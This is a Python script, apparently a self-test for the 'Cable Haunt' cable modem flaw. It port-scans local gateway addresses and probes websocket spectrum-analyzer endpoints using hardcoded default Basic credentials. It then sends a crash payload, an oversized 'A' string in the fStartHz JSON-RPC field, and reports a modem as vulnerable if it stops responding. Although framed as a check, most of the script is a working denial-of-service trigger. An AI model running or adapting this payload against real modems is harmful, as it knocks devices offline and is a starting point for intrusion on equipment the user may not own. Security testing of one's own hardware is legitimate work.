import websockets
import threading
from queue import Queue
import time
import socket
from typing import Tuple
import concurrent.futures
import asyncio
from websockets.exceptions import InvalidHandshake,ConnectionClosed

debuging = True
validPayload = '{"jsonrpc":"2.0","method":"Frontend::GetFrontendSpectrumData","params":{"coreID":0,"fStartHz":0,"fStopHz":1218000000,"fftSize":1024,"gain":1,"numOfSamples":1},"id":"0"}'
crashPayload = '{"jsonrpc":"2.0","method":"Frontend::GetFrontendSpectrumData","params":{"coreID":0,"fStartHz":' + 'A'*200 + ',"fftSize":1024,"gain":1,"numOfSamples":1},"id":"0"}'
headers = {'Authorization': 'Basic c3BlY3RydW06c3BlY3RydW0='}
checkString = 'RPCResultObject'
timeoutTime = 20
tcpTimeOut = 0.1
print_lock = threading.Lock()
targets = ['192.168.100.1', '192.168.0.1']
portRange = range(23, 10000)
possibleTargets = []

def portscan(port, ip):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(tcpTimeOut)
    try:
        con = s.connect((ip, port))
        with print_lock:
            print(ip, ":", port)
            possibleTargets.append((ip, port))
        con.close()
    except:
        pass

def threader():
    while True:
        port, ip = q.get()
        portscan(port, ip)
        q.task_done()
        
q = Queue()
for x in range(30):
    t = threading.Thread(target=threader)
    t.daemon = True
    t.start()

print("scanning ports between", portRange.start, "and",
      portRange.stop, " for adresses: ", targets)

for ip in targets:
    for port in portRange:
        q.put((port, ip))
q.join()
print(possibleTargets)

async def sendSpectrumData(ipPort: Tuple[str, int], data: str):
    uri = 'ws://' + ipPort[0] + ':' + str(ipPort[1]) + '/Frontend'
    async with websockets.connect(uri, extra_headers=headers, subprotocols=['rpc-frontend']) as websocket:
        await websocket.send(data)
        resp = await asyncio.wait_for(websocket.recv(), timeoutTime)
    return resp

victims = []
for x in possibleTargets:
    print(x)
    try:
        resp = asyncio.get_event_loop().run_until_complete(sendSpectrumData(x, validPayload))
        print(resp)
    except (InvalidHandshake, ConnectionClosed) as e:
        print(x, "is not a websocket endpoint (InvalidHandshake or ConnectionClosed: ", e, ")")
        resp = ''
    except asyncio.TimeoutError as e:
        print(x, "is not a websocket endpoint (TimeoutError:", e, ")")
        resp = ''
    except UnicodeDecodeError as e:
        print(x, "is not a websocket endpoint (UnicodeDecodeError", e, ")")
        resp = ''
    except TypeError as e:
        print(x, "is not a websocket endpoint (TypeError", e, ")")
        resp = ''
    if checkString in resp:
        victims.append(x)

vulnerableModems = []
if victims:
    print('found spectrum analyzer on these ip and ports: ')
    print(victims)
    print('sending crash payload')
    print('if modem crashes you are vulnerable to Cable Haunt.')
    for x in victims:
        try:
            resp = asyncio.get_event_loop().run_until_complete(sendSpectrumData(x, crashPayload))
            if checkString in resp:
                print('found not vulnerable modem at:')
                print(x)
        except (ConnectionClosed, asyncio.TimeoutError) as e:
            print('found vulnerable modem at:')
            print(x)
else:
    print('we could not find ip and port for spectrum analyzer, this could mean you are not vulnerable') (edited)
